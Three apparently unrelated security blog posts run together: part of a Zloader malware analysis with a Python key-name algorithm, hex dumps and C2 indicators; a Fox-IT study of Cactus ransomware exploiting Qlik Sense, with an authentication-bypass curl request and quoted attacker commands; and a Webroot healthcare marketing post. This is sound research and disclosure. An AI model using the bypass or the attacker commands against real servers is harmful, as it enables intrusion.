different for each sample.The Python code below replicates the algorithm to generate the registry key.#!/usr/bin/env python3 SEED = 0x1C5EE76F0FE82329 def calculate_registry_key(seed): key = "" key_length = 1 + seed % 8 if key_length < 4: key_length = 4 for i in range(key_length): key += chr(seed % 0x1A + 0x61) seed = (((seed << 8) | (seed >> (64 - 8))) & 0xffffffffffffffff) + 1 key = key.capitalize() return key print(calculate_registry_key(SEED))If the registry key/value pair is manually created (or this check is patched), Zloader will successfully inject itself into a new process. However, it will terminate again after executing only a few instructions. This is due to a secondary check in Zloader’s MZ header.MZ header checkA bit further in the code, there is an additional check that involves a DWORD present in the MZ header at the offset 0x30, which is only executed after being injected into a new process. The DWORD used in the check of the analyzed sample can be seen in the image below.Figure 2: MZ header with random DWORD at 0x30 offset.The DWORD at the 0x30 offset is part of the ten reserved WORDs that go from offset 0x28 to offset 0x3C of the MZ header. These bytes are usually null. However, in the example above, the malware contained an integer value (0xAAD01244), which is compared with the file size (0x29A00). Since this integer is a very large number, the check fails. The decompiled code of the file size check is shown in the figure below.Figure 3: Decompiled code of the file size check against the MZ DWORD.What the malware developers are doing here is utilizing the additional MZ header DWORD as a pointer to the seed's offset, which explains the purpose of the check. This is due to the DWORD being overwritten after the initial execution. If the pointer points beyond the binary, it indicates that the seed has already been written, eliminating the need for reinitialization.This suggests that the initial binary for system infection must include a null seed, with the MZ DWORD at 0x30 holding the seed’s offset. Subsequently, this offset is initialized with a pseudo-random QWORD generated via the Mersenne Twister algorithm, leaving a hardcoded seed that differs per infected sample.The figure below shows the decompiled code where the seed is being generated and written. Figure 4: Decompiled code where the seed is first created.Without the seed and MZ header values set correctly, the Zloader sample won’t run or install on a different machine, unless it is patched or if the environment is replicated with all the registry and disk paths/names, alongside all the original artifacts from the original victim’s machine.Registry value contentIn previous versions of Zloader, there was a single registry key and value containing some machine information (install path, computer/bot ID, victim-specific RC4 key, etc.), similar to the ZeuS PeSettings we will examine in the next section. The key/value pair was encrypted with the ZeuS VisualEncrypt algorithm and RC4, using the RSA key present in the static configuration as the key, but it wasn’t used to avoid infecting a new machine, as it was created again when executed in a different environment.Now, there is an additional value created using the seed previously mentioned.The figure below shows the registry keys and values added to the victim’s system during the infection process.Figure 5: Registry keys and values added when infecting the machine.The content has a fixed length of 1,418 bytes and is encrypted with RC4, but without the additional VisualEncrypt layer. The RC4 key is also based on the seed generated while performing the infection, which is then used to create the names of the registry key and value.The decrypted format and content are as follows:00000000 41 00 64 00 6f 00 62 00 65 00 5c 00 49 00 6e 00 |A.d.o.b.e.\.I.n.| 00000010 66 00 72 00 61 00 42 00 61 00 73 00 65 00 2e 00 |f.r.a.B.a.s.e...| 00000020 65 00 78 00 65 00 00 00 00 00 00 00 00 00 00 00 |e.x.e...........| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 57 00 61 00 62 00 75 00 75 00 5c 00 45 00 66 00 |W.a.b.u.u.\.E.f.| 00000050 79 00 63 00 79 00 64 00 6d 00 61 00 00 00 00 00 |y.c.y.d.m.a.....| 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 57 00 61 00 62 00 75 00 75 00 5c 00 47 00 65 00 |W.a.b.u.u.\.G.e.| 00000090 78 00 61 00 6e 00 69 00 00 00 00 00 00 00 00 00 |x.a.n.i.........| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 57 00 61 00 62 00 75 00 75 00 5c 00 4c 00 6f 00 |W.a.b.u.u.\.L.o.| 000000d0 6b 00 61 00 79 00 6c 00 62 00 6f 00 00 00 00 00 |k.a.y.l.b.o.....| 000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000100 57 00 61 00 62 00 75 00 75 00 5c 00 47 00 79 00 |W.a.b.u.u.\.G.y.| 00000110 79 00 70 00 6b 00 00 00 00 00 00 00 00 00 00 00 |y.p.k...........| 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000140 57 00 61 00 62 00 75 00 75 00 5c 00 45 00 71 00 |W.a.b.u.u.\.E.q.| 00000150 71 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 |q.a.............| 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000180 57 00 61 00 62 00 75 00 75 00 5c 00 59 00 77 00 |W.a.b.u.u.\.Y.w.| 00000190 77 00 75 00 00 00 00 00 00 00 00 00 00 00 00 00 |w.u.............| 000001a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001c0 57 00 61 00 62 00 75 00 75 00 5c 00 49 00 76 00 |W.a.b.u.u.\.I.v.| 000001d0 76 00 65 00 64 00 00 00 00 00 00 00 00 00 00 00 |v.e.d...........| 000001e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000200 57 00 61 00 62 00 75 00 75 00 5c 00 48 00 61 00 |W.a.b.u.u.\.H.a.| 00000210 6b 00 6f 00 67 00 69 00 00 00 00 00 00 00 00 00 |k.o.g.i.........| 00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000240 59 00 66 00 6f 00 77 00 76 00 6f 00 5c 00 46 00 |Y.f.o.w.v.o.\.F.| 00000250 75 00 76 00 61 00 61 00 71 00 00 00 00 00 00 00 |u.v.a.a.q.......| 00000260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000280 59 00 66 00 6f 00 77 00 76 00 6f 00 5c 00 4d 00 |Y.f.o.w.v.o.\.M.| 00000290 79 00 6c 00 75 00 6b 00 00 00 00 00 00 00 00 00 |y.l.u.k.........| 000002a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000002c0 59 00 66 00 6f 00 77 00 76 00 6f 00 5c 00 45 00 |Y.f.o.w.v.o.\.E.| 000002d0 73 00 6e 00 6f 00 00 00 00 00 00 00 00 00 00 00 |s.n.o...........| 000002e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 0000058AThe structure is divided into 64 bytes for each entry. The first structure is the binary path inside %APPDATA%, and the following are the Zloader modules.ZeuS implementationIt’s been thirteen years since the ZeuS 2.0.8 source code was leaked, but it is still widely leveraged by threat actors and some of its concepts are still relevant. The technique described in the section above, and used by Zloader to store the installation information and avoid being run on a different system, was also performed by ZeuS v2, but implemented in a different way.In ZeuS, the binary had an overlay section called PeSettings, where the installation information was stored instead of in the registry. The encrypted ZeuS overlay section is shown in the figure below.Figure 6: The encrypted ZeuS overlay section.The header of this section is decrypted with the RC4 key present in the static config. The figure below shows the ZeuS section header.Figure 7: ZeuS overlay section header.The decrypted header is composed of three DWORDs:Magic word (DAVE)CRC32 of the dataSize of the dataIf the size of the data is equal to 0xC, it means the trojan is not installed and will proceed with the infection to generate all the required information, such as the computer/bot ID, install paths, and machine-specific RC4 key, which is generated per install and stored as an initialized RC4 S-box.Then, ZeuS will encrypt the PeSettings again and replace the overlay data with it, while changing the header CRC and data size DWORDs.Below you can see the PeSettings structure in its decrypted form:00000000 e6 01 00 00 41 00 44 00 4d 00 49 00 4e 00 2d 00 |....A.D.M.I.N.-.| 00000010 50 00 43 00 5f 00 45 00 35 00 33 00 32 00 36 00 |P.C._.E.5.3.2.6.| 00000020 34 00 38 00 41 00 34 00 34 00 43 00 43 00 37 00 |4.8.A.4.4.C.C.7.| 00000030 46 00 31 00 43 00 00 00 00 00 00 00 00 00 00 00 |F.1.C...........| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| * 00000070 00 00 00 00 00 00 00 00 00 00 00 00 e4 50 d2 69 |.............P.i| 00000080 18 6c e3 11 b3 bc 80 6e 6f 6e 69 63 01 89 b5 78 |.l.....nonic...x| 00000090 79 63 ae 4b f3 14 94 9a ab db c2 be 09 32 df 16 |yc.K.........2..| 000000a0 bc a3 0a 33 57 6f 49 e5 21 62 c6 5f 12 e2 97 25 |...3WoI.!b._...%| 000000b0 87 55 b7 a0 da a8 67 36 29 dc 08 f1 8a 6d c9 e8 |.U....g6)....m..| 000000c0 91 13 90 54 6b 8f 2b 5e 68 46 9b 9e 69 80 e4 76 |...Tk.+^hF..i..v| 000000d0 88 85 cc bd bb 40 ce 10 6a 71 75 5d 93 dd 4d 07 |.....@..jqu]..M.| 000000e0 92 7e ba 61 ad 1d 34 f6 ac 98 a5 af 59 86 3d 27 |.~.a..4.....Y.='| 000000f0 5c 38 b6 c7 aa c0 9c 52 d0 64 77 5a 3e 8e fe 0d |\8.....R.dwZ>...| 00000100 7f bf 1b 20 f8 00 a4 6c 45 3b 41 8d 81 05 e6 d4 |... ...lE;A.....| 00000110 f9 e3 9f 02 37 b1 d9 60 ef 83 1f e9 cd a2 17 8c |....7..`........| 00000120 2c c4 c1 15 65 4c d5 8b ca 3c 26 1e ec 6e 30 d8 |,...eL...<&..n0.| 00000130 a9 4a 2f 7d 18 a7 7b 56 0f f7 ea 39 1a 96 c8 4e |.J/}..{V...9...N| 00000140 73 b3 d2 f5 cb d3 74 e0 5b 51 50 eb 84 0c b4 b2 |s.....t.[QP.....| 00000150 3a ee 4f fb 58 1c 28 70 a6 43 82 66 7c 04 22 0b |:.O.X.(p.C.f|.".| 00000160 cf 3f f4 42 44 c5 23 47 53 19 0e 35 11 7a 95 48 |.?.BD.#GS..5.z.H| 00000170 ed 2a f2 c3 99 b8 2e 06 24 ff e7 fc 9d fd d7 b0 |.*......$.......| 00000180 b9 d6 31 e1 d1 fa f0 de a1 2d 72 03 00 00 55 76 |..1......-r...Uv| 00000190 71 69 63 75 5c 79 70 77 75 66 2e 65 78 65 00 00 |qicu\ypwuf.exe..| 000001a0 00 00 47 61 75 6c 5c 75 6d 70 75 68 2e 62 79 67 |..Gaul\umpuh.byg| 000001b0 00 00 00 00 00 00 4f 74 68 65 79 6e 00 00 00 00 |......Otheyn....| 000001c0 55 71 63 75 73 00 00 00 00 00 50 69 67 6f 63 6f |Uqcus.....Pigoco| 000001d0 00 00 00 00 43 61 73 75 73 61 00 00 00 00 8a 2d |....Casusa.....-| 000001e0 48 10 30 a0 77 68 15 00 00 83 |H.0.wh....|When trying to run a sample that’s already installed, it will generate the computer/bot ID, and if it doesn’t match with the one stored in the PeSettings, ZeuS will exit. The same thing occurs if the install paths don’t match.ConclusionIn recent versions, Zloader has adopted a stealthy approach to system infections. This new anti-analysis technique makes Zloader even more challenging to detect and analyze. The samples analyzed by ThreatLabz have all been pre-initialized, suggesting a more targeted distribution strategy.Zscaler ThreatLabz continues to track this threat and add detections to protect our customers.Zscaler CoverageFigure 8: Zscaler Cloud Sandbox reportIn addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Zloader at various levels with the following threat names:Win64.Downloader.ZloaderIndicators Of Compromise (IOCs)SHA256Descriptioncba9578875a3e222d502bb6a85898939bb9e8e247d30fcc0d44d83a64919f448Zloader sample85962530c71cd31c102853d64a8829f93b63bd1406bdec537b9d8c200f8f0bccZloader sampleb1a6bf93d4ee659db03e51a3765d4d3c2ee3f1b56bd9b701ab5939d63f57d9eeZloader sample85b1a980eb8ced59f87cb5dd7702e15d6ca38441c4848698d140ffd37d2b55e6Zloader sampleURLsURLDescriptionhttps://eingangfurkunden[.]digital/Zloader C2https://citscale[.]com/api.phpZloader C2https://adslsdfdsfmo[.]world/Zloader C2https://gycltda[.]cl/home/wp-api.phpZloader C2

Authored by Willem Zeeman and Yun Zheng Hu This blog is part of a series written by various Dutch cyber security firms that have collaborated on the Cactus ransomware group, which exploits Qlik Sense servers for initial access. To view all of them please check the central blog by Dutch special interest group Cyberveilig Nederland [1] The effectiveness of the public-private partnership called Melissa [2] is increasingly evident. The Melissa partnership, which includes Fox-IT, has identified overlap in a specific ransomware tactic. Multiple partners, sharing information from incident response engagements for their clients, found that the Cactus ransomware group uses a particular method for initial access. Following that discovery, NCC Group’s Fox-IT developed a fingerprinting technique to identify which systems around the world are vulnerable to this method of initial access or, even more critically, are already compromised. Qlik Sense vulnerabilities Qlik Sense, a popular data visualisation and business intelligence tool, has recently become a focal point in cybersecurity discussions. This tool, designed to aid businesses in data analysis, has been identified as a key entry point for cyberattacks by the Cactus ransomware group. The Cactus ransomware campaign Since November 2023, the Cactus ransomware group has been actively targeting vulnerable Qlik Sense servers. These attacks are not just about exploiting software vulnerabilities; they also involve a psychological component where Cactus misleads its victims with fabricated stories about the breach. This likely is part of their strategy to obscure their actual method of entry, thus complicating mitigation and response efforts for the affected organizations. For those looking for in-depth coverage of these exploits, the Arctic Wolf blog [3] provides detailed insights into the specific vulnerabilities being exploited, notably CVE-2023-41266, CVE-2023-41265 also known as ZeroQlik, and potentially CVE-2023-48365 also known as DoubleQlik. Threat statistics and collaborative action The scope of this threat is significant. In total, we identified 5205 Qlik Sense servers, 3143 servers seem to be vulnerable to the exploits used by the Cactus group. This is based on the initial scan on 17 April 2024. Closer to home in the Netherlands, we’ve identified 241 vulnerable systems, fortunately most don’t seem to have been compromised. However, 6 Dutch systems weren’t so lucky and have already fallen victim to the Cactus group. It’s crucial to understand that “already compromised” can mean that either the ransomware has been deployed and the initial access artifacts left behind were not removed, or the system remains compromised and is potentially poised for a future ransomware attack. Since 17 April 2024, the DIVD (Dutch Institute for Vulnerability Disclosure) and the governmental bodies NCSC (Nationaal Cyber Security Centrum) and DTC (Digital Trust Center) have teamed up to globally inform (potential) victims of cyberattacks resembling those from the Cactus ransomware group. This collaborative effort has enabled them to reach out to affected organisations worldwide, sharing crucial information to help prevent further damage where possible. Identifying vulnerable Qlik Sense servers Expanding on Praetorian’s thorough vulnerability research on the ZeroQlik and DoubleQlik vulnerabilities [4,5], we found a method to identify the version of a Qlik Sense server by retrieving a file called product-info.json from the server. While we acknowledge the existence of Nuclei templates for the vulnerability checks, using the server version allows for a more reliable evaluation of potential vulnerability status, e.g. whether it’s patched or end of support. This JSON file contains the release label and version numbers by which we can identify the exact version that this Qlik Sense server is running. Figure 1: Qlik Sense product-info.json file containing version information Keep in mind that although Qlik Sense servers are assigned version numbers, the vendor typically refers to advisories and updates by their release label, such as “February 2022 Patch 3”. The following cURL command can be used to retrieve the product-info.json file from a Qlik server: curl -H "Host: localhost" -vk 'https://<ip>/resources/autogenerated/product-info.json?.ttf' Note that we specify ?.ttf at the end of the URL to let the Qlik proxy server think that we are requesting a .ttf file, as font files can be accessed unauthenticated. Also, we set the Host header to localhost or else the server will return 400 - Bad Request - Qlik Sense, with the message The http request header is incorrect. Retrieving this file with the ?.ttf extension trick has been fixed in the patch that addresses CVE-2023-48365 and you will always get a 302 Authenticate at this location response: > GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1 > Host: localhost > Accept: */* > < HTTP/1.1 302 Authenticate at this location < Cache-Control: no-cache, no-store, must-revalidate < Location: https://localhost/internal_forms_authentication/?targetId=2aa7575d-3234-4980-956c-2c6929c57b71 < Content-Length: 0 < Nevertheless, this is still a good way to determine the state of a Qlik instance, because if it redirects using 302 Authenticate at this location it is likely that the server is not vulnerable to CVE-2023-48365. An example response from a vulnerable server would return the JSON file: > GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1 > Host: localhost > Accept: */* > < HTTP/1.1 200 OK < Set-Cookie: X-Qlik-Session=893de431-1177-46aa-88c7-b95e28c5f103; Path=/; HttpOnly; SameSite=Lax; Secure < Cache-Control: public, max-age=3600 < Transfer-Encoding: chunked < Content-Type: application/json;charset=utf-8 < Expires: Tue, 16 Apr 2024 08:14:56 GMT < Last-Modified: Fri, 04 Nov 2022 23:28:24 GMT < Accept-Ranges: bytes < ETag: 638032013040000000 < Server: Microsoft-HTTPAPI/2.0 < Date: Tue, 16 Apr 2024 07:14:55 GMT < Age: 136 < {"composition":{"contentHash":"89c9087978b3f026fb100267523b5204","senseId":"qliksenseserver:14.54.21","releaseLabel":"February 2022 Patch 12","originalClassName":"Composition","deprecatedProductVersion":"4.0.X","productName":"Qlik Sense","version":"14.54.21","copyrightYearRange":"1993-2022","deploymentType":"QlikSenseServer"}, <snipped> We utilised Censys and Google BigQuery [6] to compile a list of potential Qlik Sense servers accessible on the internet and conducted a version scan against them. Subsequently, we extracted the Qlik release label from the JSON response to assess vulnerability to CVE-2023-48365. Our vulnerability assessment for DoubleQlik / CVE-2023-48365 operated on the following criteria:

1. The release label corresponds to vulnerability statuses outlined in the original ZeroQlik and DoubleQlik vendor advisories [7,8].
2. The release label is designated as End of Support (EOS) by the vendor [9], such as “February 2019 Patch 5”.

We consider a server non-vulnerable if:

1. The release label date is post-November 2023, as the advisory states that “November 2023” is not affected.
2. The server responded with HTTP/1.1 302 Authenticate at this location.

Any other responses were disregarded as invalid Qlik server instances. As of 17 April 2024, and as stated in the introduction of this blog, we have detected 5205 Qlik Servers on the Internet. Among them, 3143 servers are still at risk of DoubleQlik, indicating that 60% of all Qlik Servers online remain vulnerable. Figure 2: Qlik Sense patch status for DoubleQlik CVE-2023-48365 The majority of vulnerable Qlik servers reside in the United States (396), trailed by Italy (280), Brazil (244), the Netherlands (241), and Germany (175). Figure 3: Top 20 countries with servers vulnerable to DoubleQlik CVE-2023-48365 Identifying compromised Qlik Sense servers Based on insights gathered from the Arctic Wolf blog and our own incident response engagements where the Cactus ransomware was observed, it’s evident that the Cactus ransomware group continues to redirect the output of executed commands to a True Type font file named qle.ttf, likely abbreviated for “qlik exploit”. Below are a few examples of executed commands and their output redirection by the Cactus ransomware group: whoami /all > ../Client/qmc/fonts/qle.ttf quser > ../Client/qmc/fonts/qle.ttf In addition to the qle.ttf file, we have also observed instances where qle.woff was used: Figure 4: Directory listing with exploitation artefacts left by Cactus ransomware group It’s important to note that these font files are not part of a default Qlik Sense server installation. We discovered that files with a font file extension such as .ttf and .woff can be accessed without any authentication, regardless of whether the server is patched. This likely explains why the Cactus ransomware group opted to store command output in font files within the fonts directory, which in turn, also serves as a useful indicator of compromise. Our scan for both font files, found a total of 122 servers with the indicator of compromise. The United States ranked highest in exploited servers with 49 online instances carrying the indicator of compromise, followed by Spain (13), Italy (11), the United Kingdom (8), Germany (7), and then Ireland and the Netherlands (6). Figure 5: Top 20 countries with known compromised Qlik Sense servers Out of the 122 compromised servers, 46 were not vulnerable anymore. When the indicator of compromise artefact is present on a remote Qlik Sense server, it can imply various scenarios. Firstly, it may suggest that remote code execution was carried out on the server, followed by subsequent patching to address the vulnerability (if the server is not vulnerable anymore). Alternatively, its presence could signify a leftover artefact from a previous security incident or unauthorised access. While the root cause for the presence of these files is hard to determine from the outside it still is a reliable indicator of compromise. Responsible disclosure by the DIVD
We shared our fingerprints and scan data with the Dutch Institute of Vulnerability Disclosure (DIVD), who then proceeded to issue responsible disclosure notifications to the administrators of the Qlik Sense servers. Call to action Ensure the security of your Qlik Sense installations by checking your current version. If your software is still supported, apply the latest patches immediately. For systems that are at the end of support, consider upgrading or replacing them to maintain robust security. Additionally, to enhance your defences, it’s recommended to avoid exposing these services to the entire internet. Implement IP whitelisting if public access is necessary, or better yet, make them accessible only through secure remote working solutions. If you discover you’ve been running a vulnerable version, it’s crucial to contact your (external) security experts for a thorough check-up to confirm that no breaches have occurred. Taking these steps will help safeguard your data and infrastructure from potential threats. References

1. https://cyberveilignederland.nl/actueel/persbericht-samenwerkingsverband-melissa-vindt-diverse-nederlandse-slachtoffers-van-ransomwaregroepering-cactus ︎
2. https://www.ncsc.nl/actueel/nieuws/2023/oktober/3/melissa-samenwerkingsverband-ransomwarebestrijding ︎
3. https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ ︎
4. https://www.praetorian.com/blog/qlik-sense-technical-exploit/ ︎
5. https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/ ︎
6. https://support.censys.io/hc/en-us/articles/360038759991-Google-BigQuery-Introduction ︎
7. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801 ︎
8. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2120325 ︎
9. https://community.qlik.com/t5/Product-Lifecycle/Qlik-Sense-Enterprise-on-Windows-Product-Lifecycle/ta-p/1826335 ︎

From 2018 to 2023, healthcare data breaches have increased by 93 percent. And ransomware attacks have grown by 278 percent over the same period. Healthcare organizations can’t afford to let preventable breaches slip by. Globally, the average cost of a healthcare data breach has reached $10.93 million. The situation for healthcare organizations may seem bleak. But there is hope. Focus on layering your security posture to focus on threat prevention, protection, and recovery. Check out three healthcare organizations that are strengthening their cyber resilience with layered security tools. 1. Memorial Hermann balances user experience with encryption Email encryption keeps sensitive medical data safe and organizations compliant. Unfortunately, providers will skip it if the encryption tool is difficult to use. Memorial Hermann ran into this exact issue. Juggling compliance requirements with productivity needs, the organization worried about the user experience for email encryption. Webroot Email Encryption powered by Zix provides the solution. Nearly 75 percent of Memorial Hermann’s encrypted emails go to customers who share Webroot. Now more than 1,750 outside organizations can access encrypted email right from their inbox, with no extra steps or passwords. Read the full case study. 2. Allergy, Asthma and Sinus Center safeguards email The center needed to protect electronic medical records (EMR). But its old software solution required technical oversight that was difficult to manage. Webroot Email Threat Protection by OpenText gives the healthcare organization an easy way to keep EMR secure. OpenText’s in-house research team is continually monitoring new and emerging threats to ensure the center’s threat protection is always up to date. With high-quality protection and a low-maintenance design, the IT team can focus on other projects. When patient data is at stake, the center knows it can trust Webroot. Read the full case study. 3. Radiology Associates avoid downtime with fast recovery Radiologists need to read and interpret patient reports so they can quickly share them with doctors. Their patients’ health can’t afford for them to have downtime. After an unexpected server crash corrupted its database, Radiology Associates needed a way to avoid workflow interruptions. Carbonite Recover by OpenText helps the organization get back to business quickly in the event of a data breach or natural disaster. Plus, the price of the solution and ease of use gave Radiology Associates good reasons to choose our solution. Read the full case study. Conclusion As ransomware becomes more sophisticated and data breaches occur more frequently, healthcare organizations must stay vigilant. Strong cyber resilience should be a priority so that you can protect patient privacy and maintain trust within the healthcare industry. And you don’t have to do it alone. We’re ready to help out as your trusted cybersecurity partner. Together, we can prevent data breaches, protect sensitive data, and help you recover when disaster strikes. Contact us to learn more about our cybersecurity solutions. The post 3 healthcare organizations that are building cyber resilience appeared first on Webroot Blog.